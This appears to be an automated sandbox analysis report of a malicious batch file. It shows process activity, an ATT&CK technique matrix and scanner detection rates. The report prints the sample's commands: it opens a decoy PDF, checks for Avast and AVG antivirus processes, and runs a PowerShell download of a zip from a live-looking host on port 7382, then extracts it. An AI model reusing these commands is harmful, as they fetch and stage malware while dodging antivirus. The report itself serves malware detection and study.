Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 9950	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5013	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4674	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6576
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2982

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep count: 5013 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7896	Thread sleep count: 4674 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7940	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7972	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7868	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2064	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 8148	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2144	Thread sleep count: 6576 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6516	Thread sleep count: 2982 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4876	Thread sleep time: -8301034833169293s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: svchost.exe, 0000000C.00000002.2731864172.00000241DC42B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2732554135.00000241E1A55000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000C.00000002.2732492004.00000241E1A43000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: powershell.exe, 0000000A.00000002.2558980834.0000013CA03C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Downloads\LHEPQPGEWF.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 5 REM Wait for PDF to open (adjust timeout as needed)	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "AvastUI.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FI "IMAGENAME eq avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\find.exe find /i "avgui.exe"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://partinvshipppjbb.click:7382/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"	Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "try { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'http://partinvshipppjbb.click:7382/bab.zip' -outfile 'c:\users\user\downloads\downloaded.zip' } catch { exit 1 }"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "try { [net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12; invoke-webrequest -uri 'http://partinvshipppjbb.click:7382/bab.zip' -outfile 'c:\users\user\downloads\downloaded.zip' } catch { exit 1 }"			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0314~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IO.Compression.FileSystem\v4.0_4.0.0.0__b77a5c561934e089\System.IO.Compression.FileSystem.dll VolumeInformation

Source: find.exe, 00000008.00000002.1315899195.000002D18A25B000.00000004.00000020.00020000.00000000.sdmp, find.exe, 00000008.00000002.1315984586.000002D18A544000.00000004.00000020.00020000.00000000.sdmp

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	1 Windows Management Instrumentation	1 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	21 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Command and Scripting Interpreter	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	22 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Source	Detection	Scanner	Label	Link
YnViC5yHLu.bat	3%	ReversingLabs
YnViC5yHLu.bat	2%	Virustotal		Browse

Source	Detection	Scanner
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_aix_support.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_collections_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_compression.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_markupbase.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_osx_support.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_py_abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_pydatetime.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_pyio.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_pylong.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_sitebuiltins.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_strptime.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_threading_local.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\_weakrefset.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\abc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\aifc.py	0%	ReversingLabs
C:\Users\user\Downloads\Extracted\Python\Python312\Lib\argparse.py	0%	ReversingLabs
